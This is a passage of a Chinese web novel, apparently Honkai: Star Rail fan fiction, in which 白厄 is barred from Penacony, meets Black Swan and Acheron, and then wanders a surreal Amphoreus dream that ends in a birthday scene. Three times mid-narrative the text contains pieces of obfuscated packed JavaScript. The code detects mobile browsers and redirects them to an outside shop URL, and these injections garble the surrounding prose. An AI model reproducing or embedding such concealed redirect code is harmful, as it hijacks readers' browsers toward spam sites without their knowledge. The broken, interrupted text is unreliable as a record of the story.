色彩簌簌剥离,线条构成的走廊颤抖着、扭曲着,终于在咔嚓咔嚓的破碎声中彻底崩碎,【白厄】只觉眼前一黑,下一秒,观景车厢的音乐在耳畔响起。 姬子微笑着说:“诸位,我们到了,这里就是盛会之星、匹诺康尼。” 052 星十指交叉,表情深沉:“我做了一个梦,梦见了漂浮的杯盏、倒悬的喷泉,和一个似乎是迷路了的漂亮姐姐,漂亮姐姐还说会和我再见面。” 三月七点了点头,一本正经道:“听起来你确实是在做梦。” 星挠了挠头,比画道:“不是这个做梦,我真的做了个梦,梦境了一个漂亮姐姐,还是她把我从梦境里送回来的。” 三月七敷衍道:“知道了知道了,我相信你啦。” 星不再解释,擦了擦眼角,深沉道:“我明白了,被曲解正是银河球棒侠的宿命,匹诺康尼正在召唤我们,召唤银河球棒侠……” “小三月,星,我们准备出发了哦。”姬子在车厢门边招呼道。 于是对话戛然而止,两小只欢快地跑了过去。 “不下车吗?”【白厄】把屏幕亮给丹恒看。 丹恒微微摇头,道:“这次我想休息一下,如果有需要,你可以用我的名字登记入住。” 对哦,家族给星穹列车发请柬的时候,星和【白厄】都没上车,匹诺康尼酒店里自然没有预留他们的房间。 其实丹恒老师你之后还是会下车的……【白厄】心想着,打消了冒名顶替的念头。 姬子、杨叔、星、三月七,加上【白厄】,一行人走入匹诺康尼大酒店,只见高高的穹顶落下明亮的灯光,人们在镜面般的地板上来来往往,家族的侍者与护卫穿插其间,脸上洋溢着热情而标准的笑容。 “抱歉,真的没有这位小姐和这位先生的预约记录。”前台的侍者艾丽为难说道。 星摸了摸下巴,自信道:“其实我叫丹恒。” “可、可是丹恒先生的预约信息明明是男的……”艾丽目瞪口呆。 “谐乐大典前夕宾客云集,你们再怎么说,这也不是侍者小姐能决定的。”一道语气略显轻佻的声音插入话题,一身奢华服饰的年轻人笑吟吟地自我介绍道,“不才‘砂金’,隶属公司战略投资部,也是在诸位身后等了很久的一位游客。为了避免这件事继续浪费我的时间,诸位不如和我聊聊?也许,我愿意借个面子,方便各位无名客呢。” □□上前一步,与砂金交涉起来,两人的谈话看似客气却暗藏锋锐,几句话间便营造出话里有话的大人间的氛围。 “……呵呵,您说得对,我喜欢交朋友。”砂金目光一转,色彩绮丽的眼瞳分别看了看星与【白厄】,最后伸手指向星,“把我的套房让给这位小姐吧,看在我和‘家族’的星期日有约的面子上。不过,我的房间只有一套,剩下这位,我也爱莫能助了呢。” “这、这,可是……”侍者艾丽有些不知所措。 “艾丽,稍安勿躁。”低沉而舒缓的声音插入,一位衣着打扮都一丝不苟的天环族青年走近,温和道,“‘家族’不会让宾客带着负担入梦,我们会尽快解决这次‘系统故障’,并为各位升级房型作为补偿。” 橡木家系的家主星期日,也就是这位天环族青年,三言两语消弭了问题,他与砂金走到不远处低声交涉了什么,而与之同行的知更鸟则温声细语的与无名客们交谈起来,三月七有些激动地向寰宇知名歌星知更鸟要了份签名,又小心翼翼的贴身收好。 交谈间,姬子和□□状似寻常地对视了一眼。 很快,星期日走了回来,却没有立刻插入知更鸟和无名客的谈话,而是和艾丽低声说了什么,随即目标明确地向【白厄】走来,歉意道:“抱歉,系统的调度出了些问题,不知白厄先生可否等待几天再入住,当然,‘家族’承诺,一定在谐乐大典开始前邀请您进入梦境。” 【白厄】有些疑惑地看了星期日一样,因为这是个一戳就破的借口。 难道是星期日察觉了什么问题,打算按对待黄泉那样,找个理由把他请出太一之梦?可依照星期日的性格,即使找理由,也不会找如此浅白还不一定有用的借口啊。 姬子注意到了这边的交谈,缓步走来,微笑道:“星期日先生,是还有什么问题吗?如果调度不方便的话,可以让白厄先住进丹恒的房间,我想这并不难办?” 这次,无名客们都被吸引了注意力,原本打算离开的砂金也靠近了一些,随手扔起一枚筹码,露出饶有兴致的表情。 星期日微微闭上眼睛,叹了口气,道:“好吧,这里不是谈话的地方,请来这边。知更鸟,麻烦你先替我照看下宾客们。” 053
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048687|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 星期日引着无名客和砂金走到一处偏僻角落,语气坦诚:“抱歉,刚才所说的房间调度不便确实只是个借口。‘家族’信仰同协的希佩,无意针对任何势力、任何人。只是在刚刚,有人向我发了条匿名信息。” 星举起手:“我们可以看看信息吗?” “当然。作为橡木系的家主,我虽无意如此,却不得不注重信息保护,可这条消息背后的主人如幽灵般难以追踪,否则我也不会如此重视。”星期日拿出手机,“消息称一位危险人物截杀宾客抢夺请柬,混入了匹诺康尼,意图挑起混乱。” “这和白厄没有关系吧,我们可以做证,这段时间大家都在仙舟罗浮。”三月七说。 星期日微微摇头,手指下滑,展示出信息末尾附上的照片:燃烧的火海中残留着永火官邸的残骸,白发青年站在火海中央,蓝金的披风在气浪中飞扬,他似乎察觉到了偷拍的人,正回头看过来,蓝色的虹膜被火光渲染成灿金,居高临下,无喜无悲。 角度选得很好,这气质,这表情,看起来下一秒就会把偷拍者刀了。 “我相信星穹列车的无名客,但目前为止,‘家族’还没发现照片有修改的痕迹,也许是伪造者技艺十分高超。”星期日道,“无论幕后的主使有何打算,总会波及白厄先生,所以我们想让他暂时离开这个漩涡。对于此事,‘家族’还希望委托无名客暗中追查,揪出真正的危险分子。” 合情合理,态度诚恳,请走他的同时,还能利用无名客追查黄泉,实在是一举多得。正如一般人不会觉得面具下是另一层面具,星期日主动戳破表面上的借口,以此取信众人,不仅达到了自己的目的,还将真实意图掩盖在了言语之下。 【白厄】仗着游戏剧情的先知先觉,很快便猜测出几分星期日的用意。 家族是同协星神希佩的追随者,橡木家系却是隐藏在同协中,信仰秩序星神太一的残党。星期日以谐乐大典为契机,制造了笼罩整个匹诺康尼的太一之梦,所有抵达匹诺康尼的宾客,此时已经陷入梦境之中,大家看似清醒,实则都在梦游。 不过,宾客中出现了一个意外:虚无令使黄泉。 作为本不该存在的虚无命途令使,黄泉极为特殊,不考虑无辜者的情况下,只要她想,就能一刀劈开太一之梦。这个不稳定因素实在太容易爆炸了,所以星期日有利用星穹列车请黄泉离开的打算。 至于为什么盯上他…… 【白厄】怀疑刚抵达匹诺康尼时,他用秘技摧毁一角梦境间隙的事情被星期日察觉了。 054 面对星期日的提议,【白厄】仿佛幻视面前出现了两个选项。 其一:开拓就要勇往直前!诬陷我的人,不足为惧。 其二:回列车看看似乎也不错…… 他心中斟酌了一下,做出决定。 “我回列车吧。”他将手机亮给同伴们看。 选择留下,会被星期日全力盯梢,而且家主大人未必没有后手。不如就此退后一步,脱离聚光灯闪耀的舞台,静静等待契机。 无名客们看了看彼此,□□开口道:“也好,我送你回去。” 星期日并不掩饰的微微松了口气,平和道:“感谢星穹列车的谅解,待到风波平息后,我会以个人的名义保留无名客们的客房,届时,愿诸位尽情享受美梦。” 于是一行人分成三道,星期日与砂金一同离开,姬子领着两小只继续办理入住手续,【白厄】则和□□向列车返回。 □□一直将人送到列车门口,站定,嘱咐道:“谐乐大典开办在即,此地势力错综复杂,星期日的作为虽合情合理,但也未必没有深意。幕后者既然盯上了你、盯上了星穹列车,便不会轻易收手,即使身在列车,也不要全然放下警惕。” 放心,我知道的。【白厄】对着□□扬起一个灿烂的笑脸。 对方沉默两秒,略微移开目光,小声嘀咕道:“即使相处了一段日子,看到这样的表情,还是有些不习惯啊。” 【白厄】:“……” 杨叔,凯文老祖给你留下的心理阴影就这么深刻吗? 10. 游戏机制百分百(十) 055 一段时间后。 谐乐大典开幕前14系统时。 【白厄】感到手机微微一震,摸出一看,发现消息来自一位有认证标识的家族人员。 “白厄先生,潜入匹诺康尼的危险分子已被抓捕,为您带来不便还请谅解。谐乐大典在即,家族人手紧张,橡木系家主建议由星穹列车暂时关押这位危险分子,请到XX坐标与家族猎犬进行交接。” 他看着消息思索两秒,有些摸不准星期日的用意。 在原本的发展中,家族抓住并未反抗的黄泉后,应该是做出了将其放逐的决定,中途忆者黑天鹅介入,将黄泉带到了星穹列车。 剧情的细节已经记不清了,但此时列车组和星期日兄妹大概在流梦礁,美梦背面的放逐之地,通讯系统也被截断。也就是说,这条消息是星期日提前安排人在特定时间发给他的。 如果我不知道剧情,此时大概会和列车组确认下这件事,然后就会发现他们失联了。这样,这条消息就成了唯一的线索,无论如何我都会去坐标地点看一看……他心中模拟了下事情发展,有些怀疑这个坐标是星期日给他挖的坑。 毕竟,从星期日的视角来看,黄泉和匹诺康尼的宾客们非亲非故,被放逐后不会折返,即使折返,那时太一之梦已经是完全体,他的目的也达成了。 但【白厄】是无名客,和列车组是同伴,即便是出于担心,也会在谐乐大典前进入太一之梦。所以星期日如果没有正面交锋的打算,就要想办法绊住【白厄】的行动,拖延时间。 既然如此,去坐标地点印证下猜想也无妨。【白厄】心想。 他没有以一己之力掀翻太一之梦的想法,也做不到,不如顺其自然,按星期日导演的剧本走完boss战,再等开拓者们抢过导演的剧本,用列车把太一之梦创翻。 想到这里,【白厄】和丹恒打了声招呼,离开列车。 056 坐标地点十分偏僻。 一路前进,如织游人渐渐稀疏,恢宏建筑也变得低矮,光洁的地板上倒映着夜色与灯火,四周逐渐安静,只听见脚步声回荡。 【白厄】推开一扇彩色碎玻璃拼成的门户,看着门后挂满肖像画的长廊,沉默两秒。 这一幕怎么有些似曾相识? 总有种进去后会无限循环的错觉……【白厄】心中嘀咕着,穿过长廊,来到一处八棱形的大厅。大厅中散落着废弃电视机和积木块,几名家族成员面面相觑,面色茫然。 “你是谁?我们为什么会在这里?”其中一人向【白厄】质问道。 “你们约我到这里,交接危险分子。”【白厄】走近几步,打字展示一圈,随后把家族成员发给自己的信息调了出来。 其中一名成员凑近看了看,表情变幻,惊讶道:“这是我的账号!可,可我不记得自己发过这条信息啊,怎么回事?” 【白厄】心中微微一动。 “信息说我们押送一位危险人物,危险人物呢?”另一位冷静的家族成员说,“也许我们真的是自己过来的,但危险人物用了些手段,抹去了我们的部分记忆。难道……是忆者?” 众人的表情都严肃起来。 “唉,有时候,窥视真相可是要付出代价的哦。”忽然,一道温柔的女声响起,头戴黑纱、身披夜紫色长裙的女人缓缓走来,微笑道,“不必担心,你们的记忆会在谐乐大典后回归。在此之前,先将谈话的地点交给我和这位客人吧?” 家族成员集体一怔,忽然为自己出现在这里的原因找到了完美的理由,他们无视【白厄】和黑天鹅,也忘记了先前的怀疑和戒备,有说有笑地离开了。 随手便可修改记忆的忆者,还真是恐怖……【白厄】心想。 “自我介绍下,我是流光忆庭的忆者,黑天鹅。”黑天鹅说,“我知道你的来意,但黄泉并非敌人,至少对星穹列车来说是这样。” 【白厄】静静地注视着黑天鹅,等待对方进一步解释。 玩家的记忆不会被窥探,但他能否完全屏蔽忆者对浅层记忆和衍生情绪的感知,还未有定论。所以【白厄】不会做出明知故问的举动,以免被黑天鹅发现端倪,让忆者察觉到他对匹诺康尼发生的一切早有预料。 “好吧,看来你并不相信我,那么,先说说家族猎犬的目的好了。”黑天鹅道,“他们确实给你发了交接黄泉的信息,但橡木系家主下达的命令,却是星穹列车中有危险人物的内应,黄泉小姐只是诱饵。没错,那些猎犬,也是来抓你的。” 果然是坑。【白厄】心想。 “看来你早有定论。”黑天鹅端详着【白厄】的神色,微笑地说。 “星在群消息里提到过你。”【白厄】敲字,这是实话,虽然星的原话是吐槽匹诺康尼是谜语人开大会,黑天鹅更是谜语人中的佼佼者。 “那就好办了,我会珍惜这份有限的信任的。请随我来,我们还要接上黄泉小姐,然后返回星穹列车。”黑天鹅轻柔地笑了笑,“星海间的客人已经先一步回到列车,汇合之后,我会说明目前的情况,包括你的同伴们的消息。” 【白厄】平静地点了点头,跟上黑天鹅的脚步,心中却忍不住嘀咕起来:忆者的感知果然极为敏锐,明明他什么都没说,什么都没做,对方仍然意识到了他心中的警惕。 可惜这终归无法避免,谁让他是玩家呢? 057 “他宝贝的,那个忆者是不是在耍我们,兜兜转转又回来了,喵!” 刚上列车,一句极有特色的话语便穿透而来。 身材高大的机械牛仔嘴里叼着根薯条,抱着手臂靠在车厢上,下一秒,他准确地扭头看向车门方向,形似瞄准框的眼睛明亮而锋利。 “你回来了。”丹恒平静介绍道,“这是巡海游侠波提欧,在你离开之后上车,为追寻冒充巡海游侠之人而来。” “你好,我是波提欧,刚被你身后的小可爱溜了几圈,暂时没心情闲聊。”波提欧抬手打了个招呼,朝忆者笑笑,露出满口锋利的牙齿,“流光忆庭的小可爱,你把冒牌货带来做什么,出卖我?” 黑天鹅走了几步,露出黄泉的身影,微笑道:“我想,这是个误会,但珍贵的回忆还是交由持有者来讲述更合适。” 紫发持刀的客人移步上前,表情寡淡,语气平静:“你是巡海游侠?” 波提欧道:“没错,行不更名坐不改姓,找我们做什么?” 黄泉慢慢摊开手,露出一枚花纹奇异的子弹。 “呵呦,你怎么有这个东西?”波提欧站直身体,稀奇道。 黄泉说:“故人之物,我想交托于巡海游侠。” 列车车厢中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048688|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音乐声安宁流淌,在这安宁中,黄泉用不起波澜的声音讲述了一个关于过往、坚守与爱的故事。匹诺康尼最初的开拓者之一、传奇巡海游侠铁尔南变作了虚无的血罪灵,与虚无的自灭者同行一段安静的时光,在一切消逝之前,他将子弹托付给黄泉。 黄泉将子弹递给波提欧,说:“抱歉,冒领了巡海游侠的身份,只有这样,才会让真正的巡海游侠现身。” “……哎你这姐们,让我怎么说你?”波提欧挠了挠脑壳,金属碰撞发出咔咔声,“行吧,这信物我收下了,下次可别用这种方法了,万一哪个心急的小可爱直接动手怎么办?” 黄泉淡定道:“他应该打不过我。” 两人的交涉告一段落,丹恒看向黑天鹅,笃定道:“忆者来访,应该不只是为这一件事,你想要告诉我们什么?” 黑天鹅微笑道:“关于匹诺康尼的现状,关于谐乐大典,我都会如实相告。” 058 黑天鹅用优雅的声线讲述了匹诺康尼2.0~2.1的主线内容,情况与【白厄】所知的剧情大体相同,顺便揭示了谐乐大典中不和谐杂音的身份:隐匿于同协之中,信仰秩序星神太一的残党,橡木家系。 “表面上看,这一切都是橡木家系‘梦主’的谋划,不过最新得到的情报表明,现在的主导者应该是橡木家系家主,星期日。”黑天鹅说。 处于匹诺康尼之内的无名客们已经行动起来,他们和名为流萤的星核猎手一起前往最终的舞台,准备阻止太一之梦的降临,破坏掉呼唤秩序星神的仪式。 虽然太一之梦早就降临了,但目前为止,宾客们还不清楚这条信息。 因为这些信息他早已知晓,【白厄】听着听着有些走神。 他听着丹恒提议使用结盟玉兆,听着波提欧表示必须算上他的这个助力,听着黄泉说必要时可以帮忙,思绪却渐渐飘远。 在星期日导演的剧本里,这次,无名客们会齐心协力打败boss,然后彻底沉入美梦,每个人都会走入属于自己的、完美的未来。 他不禁有些好奇,自己会做什么样的梦? 他又有些遗憾,因为梦境大概无法窥探到他最真实的内心。 不过这样也好,并非真实心愿的美梦不会将人困死,否则明明提前知道情况,却还是陷入美梦中醒不过来,就太丢脸了。【白厄】心想。 毕竟他只是个普通人,没有在座各位那么坚定的意志力。 059 煌煌威灵与浩浩苍龙从天而降,令“齐响诗班-多米尼斯克”轰然倒塌。 众人顺利汇合,相互看过去时,表情里带上了胜利的喜悦。 性格活泼的三月七迎上丹恒和景元开始问东问西,星和流萤欢快击掌,扭头看着机械牛仔眼睛闪闪发亮,姬子和□□站在旁边,神色包容而温和。 黑天鹅静静地观看着眼前的一幕,温暖的记忆向外满溢,无形的、只有模因生命可以感知的氛围充盈萦绕,令人如同踏入温泉般惬意。 忽然,某种冰凉而镇静的气息流淌而来。 她向气息的主人投去目光,看到白发蓝眼的青年微笑着和同伴们对视,他的表情看似寻常,蓝色的眼睛却结了层薄冰,不见一点笑意。 于是,忆者察觉到了某种不协的杂音,她伸出手指轻压嘴唇,也笑了起来。 11. 游戏机制百分百(十一) 060 【白厄】恍惚了一下。 空气温暖而湿润,耳畔是潺潺水声,几个小孩笑闹着打水仗,又在家长的呼唤中稍稍收敛,踩出一串串水花。 四面八方都是清澈温暖的流水,人们在欢笑、在交谈,他们走入浴池,又从水中走出,时而从漂浮的桌板上取下清爽的果汁,时而看向舞者欢歌的高台。 这是一座恢宏的浴宫,流水汇成瀑布,回转不休,抬起头,还能看见二层有金色的微光闪耀,那里有水流汇入浴池,荡漾成温热耀眼的黄金。 “翁法罗斯……奥赫玛?”【白厄】的眼神很快清明起来。 他想起了前因后果。 就在刚刚,列车组在太一之梦中击败了星期日,达成假结局,全员沉入美梦。 所以,这是属于我的美梦?还以为要和哀丽秘榭的麦田再度重逢了。【白厄】心想。 一般来说,意识到身在梦中,就可以挣脱梦境。可惜【白厄】尝试半天也没成功,眼前的场景,仍然是几乎与真实无异的浴宫。 “为什么醒不了?要不试试更激烈的,比如在梦中拥抱死亡……算了,还是等同伴们来捞我吧。”【白厄】犹豫几秒,打消了召出侵晨给自己一剑的想法。 “这边这边,发什么呆呢?都在等你啦。”三月七的声音突然响起,他转头,发现星、丹恒和三月七都站在升降梯边,粉蓝色的美少女正向他招手。 明明刚才那边还没人,果然是在做梦。【白厄】心中摇头,越过蜿蜒的流水,走到列车组身边,几个人乘坐升降梯升往浴宫二层。 “哎呀,你怎么一直板着张脸,明明翁法罗斯已经解放了,铁墓也被打败了,不开心吗?”三月七凑到面前,又指了指丹恒,“这面无表情的样子,不会被丹恒传染了吧?” 丹恒伸手扶额,无奈道:“三月。” 原来美梦主题是一次完美的再创世。【白厄】平静地想着,顺着三月七的意思,笑了笑。 三月七原本抬起的相机又放了下去,道:“笑得很勉强啊,你怎么了,是觉得这个世界不够好,还有哪里需要修正吗?” ……不要套着三月七的样子这样说话啊,这不仅不像美梦,反而有些惊悚了。【白厄】伸手扶额,心想。 “别听她的,搭档,她刚从黑化状态恢复,脑子不太好使。”星插入话题,头上不知何起漂浮着一行硕大而漂浮的文字:灰白的黎明。 文字下方还有一个指向星的箭头。 好出戏,是因为我知道我在做梦,所以梦境也愈发离奇了吗?而且星从来都不会叫我搭档,我也不会这样叫她。【白厄】停顿两秒,把目光从灰白的黎明上挪开。 “你很沉默。”一直默默观察的丹恒说,“这里不会再有任何困难、任何苦痛,每个人都能拥抱快乐和幸福,大家可以永远在一起,所以尽情地述说吧。” 你们都崩人设了喂! 如果这真是我的美梦,可以让这些熟悉的陌生人都消失吗?【白厄】不忍直视,等升降梯抵达英雄浴池就第一个迈步走了下去。 鎏金的水流倾泻而下,而在金黄的瀑布前,阿格莱雅和黑天鹅坐在小桌边,桌子上是精致的甜点、水果和光泽诱人的秘酿。 这里为什么会有黑天鹅?【白厄】心中升起一丝怀疑。 “……原来天外的世界如此奇妙,多谢您的讲述,让我获得了很多灵感。”阿格莱雅说着,目光落在灰发的开拓者身上,“啊,原来是救世主阁下,欢迎回来。” 黑天鹅微微眯起眼眸,笑道:“不,该我感谢你才对。我收获了很多珍贵的记忆,即使它们不够真实,不够连贯,仍然令人觉得,逐火,真是个神话史诗般的故事。” 阿格莱雅似乎没听到黑天鹅的奇怪发言,回答道:“当然,来自天外的救世主与十一名黄金裔共同拯救了翁法罗斯,再创世真正降临,我们与寰宇接轨,这当然是个好结局。” 黑天鹅笑而不语。 【白厄】轻轻推开星,走到黑天鹅面前,开口说:“忆者,这不是你该来的地方。” 可以自由说话,这里是梦境的证据+1。 这片虚假的梦境里,只有他和黑天鹅是真实的。 黑天鹅说:“白厄先生,请相信我并无恶意。我只是无名客间的传信人,被你的伙伴们委托潜入记忆的深海,是来唤醒你的人。” 大家不会都醒过来了吧?可我才刚陷入梦境,时间怎么会过得这么快。【白厄】迟疑了一下,选择相信黑天鹅:“我知道这里是梦境,但该如何醒来?” 黑天鹅注视着他,一时没有回答。 忆者的眼眸中荡漾着粼粼波光,像是同情,像是怜悯,又或者只是一片温柔的大海。 “梦境世界的时间是混乱的,别着急,再给自己一点空闲吧,到时候,我会告诉你离开梦境的办法。”黑天鹅说。 “直接说吧,不能再浪费时间。”【白厄】摇头拒绝。 黑天鹅轻轻叹息:“还不到时候。” 忆者的身影如泡沫般消失,一道金线缠上手腕,将【白厄】向后轻轻一扯。 他只好转身面对阿格莱雅。 奥赫玛最好的改衣师眼眸明亮,仪态端庄但动作轻快地拎起一件黄紫撞色的长袍,语气里带着几分活泼:“我为每一位无名客都缝制了服装,这是属于你的,来试试看吧,肯定是你喜欢的类型。” 不愧是奥赫玛最好的改衣师,如此死亡的颜色搭配,成品看起来居然还不错……不对!我的审美是被黑潮侵蚀了吗,就算样式如何精致,大片高饱和度的颜色搭配也太辣眼睛了。 【白厄】看着那生机勃勃的颜色愣了两秒,感觉两道观念在脑子里打架。 “我……”他张开嘴巴,半天没说出下一个音节。 于是阿格莱雅把衣服向他手里一塞,不知从哪里搬来一座衣匠放在自己常驻的位置上,拍了拍手,说道:“好,下班时间到了,这里就交给衣匠处理了。我和吾师约好了要一起喝燕麦粥,你们玩得开心。” 【白厄】痛苦地捂住了脸。 很好,阿格莱雅的人设也崩落一地。 为什么晚饭是喝燕麦粥,还是和缇里西庇俄丝女士一起喝? 不对不对,她竟然会下班! 061 梦中的列车组以阿格莱雅下班为理由,决定离开浴宫,去别的地方转转。 【白厄】神色恍惚地跟上,然后一步迈上升降梯,下一秒已经出现在了无边花海之中。 天幕暗淡静谧,巨大而残缺的月亮向下流淌辉光,深深浅浅的安提灵花在此盛放。 “遐蝶,我们来找你玩啦。”星快步向前,拥抱住了花海中的紫色身影。 “嗯,欢迎你,救世主阁下。”遐蝶有些不好意思地轻轻回抱。 月光,花海,死荫之侍女与生者相拥。 这画面安宁唯美,稍稍安抚了【白厄】的情绪,让他觉得这美梦还有那么点可取之处。 下一秒,响亮的声音在耳畔爆炸。 “甩卖甩卖!冥界特产花卉大甩卖!买一赠二,买三赠四了啊!”一个酷似遐蝶的女孩拎着大喇叭开始叫卖。 为什么买得越多,反而送得越少了?【白厄】心中吐槽,目光一扫,认出这位是遐蝶的妹妹玻吕茜亚,也是当世的死亡之泰坦塞纳托斯。 救命,死亡泰坦和死亡半神在冥界卖花,还有折扣大促销,我已经快被这荒诞的美梦逼得无力吐槽了啊!【白厄】茫然地看着玻吕茜亚,看着缠绕着死亡气息的少女递给他一束鲜花。 “看在你是无名客的份上,这束花免费送你啦。”玻吕茜亚说。 【白厄】低声说:“……谢谢。” 好吧。他想。如果事情果真如此发展,似乎也还不错。 062 梦境中的时空间是不连续的。 一行人辞别遐蝶和玻吕茜亚,才走两步,就来到了神梧树庭。 我甚至可以猜到在这里会遇见谁,这美梦是打算让我集邮白厄的熟人吗?【白厄】捧着手里的鲜花,心中叹气。 “你们就是这届新生吧?”薄荷发色的学者睁开双眼,视线刮刀般在众人身上扫了一圈,“为了我的教资,即使你们是拯救了翁法罗斯的无名客,我也不会放松标准的。” 话说得太直白了吧,那刻夏教授真的会这么说话吗?【白厄】睁着死鱼眼。 下一秒,几人坐在了凭空出现的教室里。 那刻夏在黑板上徒手画出大片繁复的图形与文字,然后把粉笔一丢,哈哈大笑道:“这就是你们要学习的内容,半小时后进行期末考试。” 多久之后?! 【白厄】不由自主地坐直了身体,试图把眼睛变成照相机,将黑板上的每一个线条拓印进脑海深处。 很快,一张完全空白的卷子发下来,【白厄】拿着卷子,满脸问号。 那刻夏站在讲台上,慷慨激昂道:“期末考试的题目是,画出大地兽!” 【白厄】:“……” 梦境中这些离谱的内容,不会源自他心中的刻板印象吧? 他硬着头皮在白纸上写写画画,忐忑地看着那刻夏收走卷子,只见学者看了一眼,大手一挥盖上印章:“满分!你们超额完成了任务,提前毕业了!” 【白厄】探头看了看四张卷子上的抽象画作,感觉有点对不起真正的那刻夏。 如果没有美梦的力量干预,这东西恐怕会被那刻夏老师以亵渎之名直接丢进火炉里烧光。 这时,教室门被轰地打开,一名与那刻夏有七八分相似的女子走了进来,气势汹汹道:“那刻夏,你又不注意休息,我和你说过,要记得按时吃饭。” 那刻夏嘴巴动了动,把“别叫我那刻夏”的习惯性反驳咽了下去,目光乱飘:“我,我有注意的……姐姐。” 苍白的辩解没起到任何作用,伟大的树庭七贤人之一的学者,吱哇乱叫地被姐姐拖走了。 【白厄】甚至已经习惯眼前这离谱的场面了,把试卷折了折包住花束,淡定地询问道:“下一站是哪里?” 列车三人组卡顿了瞬间,星恍然大悟道:“对了,这次我们回来翁法罗斯,黄金裔专门举办了一次宴会,宴会的开始时间就要到了!” 【白厄】笑着说:“好,我们出发吧。” 063 宴会地点被定在了生命花园。 无敌的美梦力量硬是在生命花园中央立起了一口大锅,【白厄】与列车组抵达时,悬峰王储正手持锅铲火力全开,锅中产出的美味佳肴源源不断,被各色迷迷精灵装盘送到桌子上。 主厨是万敌也就算了,迷路秘境的迷迷精灵怎么可能会出现在这里,这个梦境真的不讲道理对吧?【白厄】心中吐槽,感觉自己真的吐槽到累了。 “呀,灰宝,丹宝,你们都来了啊。”抱着小天马的医师最先注意到来客,眼睛里满是温柔的笑意,“宴会还有一阵子才开始,先来吃点燕麦粥和苹果吧。” 燕麦粥? 【白厄】微微一怔,目光四扫,看见阿格莱雅和少女模样的缇里西庇俄丝坐在草地上,旁边摆放着小份的燕麦粥、苹果和苹果糖。 因为之前提到过要吃燕麦粥,所以即使宴会即将开始,也要坚持吃一碗燕麦粥吗?这梦境为什么在这种时候又前后对应起来了?【白厄】无奈。 “嘟,嘟嘟。”小伊卡抱起一个红润的大苹果,扇动翅膀落在了星的头上,星笑眯眯地接过苹果,咔嚓咬了一大口。 听起来很好吃……【白厄】的目光飘忽了一下。 缇里西庇俄丝向这边看了一眼,拿起一个苹果向【白厄】走来,说道:“不要拘束啊小白,来,给你苹果。” 【白厄】微微一怔,接过苹果,说:“谢谢。” 星被赛飞儿拉到一边嘀嘀咕咕的说着什么,他们身边还有一个紫色的葡萄人……呸,是贼灵巴特鲁斯;遐蝶和玻吕茜亚拿着花朵装点现场;那刻夏和一只趴在荷叶上的奇美拉对视;阿格莱雅在喝燕麦粥;风堇抱着小伊卡和缇里西庇俄丝聊天…… 忽然,一股裹挟着菜香的热气扑面而来,大厨万敌盯着【白厄】看了两秒,道:“与其在这里发呆,不如给我打下手,过来。” 打下手?我觉得迷迷们干得比我好多了。【白厄】心中反驳,但没有说出口,几口啃完苹果,然后跟上万敌,走到了中央的大锅旁边。 万敌转了一圈,不知从哪推出一座蛋糕塔,蛋糕上的奶油裱花大部分已经完成,只剩中央空白一片,等待有人填上文字或者图案。 “中央要写什么,你来决定吧。”万敌轻描淡写地说。 “我?”【白厄】迟疑,“让星来决定会不会更好一点。” 在这个梦中,星是翁法罗斯的救世主,是灰白的黎明——直到现在,那行带着箭头的大字还飘在星的脑袋上呢。 万敌冷酷无情道:“不行,现在只有你很闲。” 【白厄】循着记忆看过去,发现星、赛飞儿和巴特鲁斯都不见了,只好老老实实地接过万敌调配好的奶油裱花袋,对着空白的蛋糕面沉思起来。 应该写什么?可以写什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048689|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对了,为什么会有蛋糕,今天是谁的生日吗? 尖锐的刺痛忽然袭击脑海,眼前似乎闪过许多破碎的画面:飘散的彩带,狼藉的杯盏,飞扬的奶油,欢快的笑声…… 蛋糕塔的虚影在破碎的画面中逐渐清晰,空白的蛋糕面上写着不同的数字:1、2、3……6……27…… 【白厄】捂着额头,睁开眼睛,忽然意识到这一切都似曾相识。 他拿着金色的裱花袋,沉默地在蛋糕面上画了个数字28。 “小白,回头!”背后响起星的声音。 【白厄】回过头,伴随着“砰”的一声,被彩带洒了满身。 少许彩带越过他扑向蛋糕,他想也不想的伸出手,准确地截住了那部分彩带。 星和赛飞儿手里拿着彩带筒,笑嘻嘻道:“生日快乐!” “桀桀桀桀,小子,算你走运,今天正好撞上你的生日,我和大姐头就勉为其难的,顺便帮你过个生日吧。”巴特鲁斯挥舞手臂道,“怎么样,感不感动?” 【白厄】沉默两秒,笑道:“嗯,感动。” “笑得一点都不好看。”赛飞儿眨了眨眼睛,评价一句,如风儿一般跑走了。 【白厄】的表情微微一僵,伸手揉了揉脸,温和道:“因为我太感动了……星,可以让我自己待一会儿吗?” 星点点头,道:“不要太久哦,不然我就把蛋糕都吃光。” 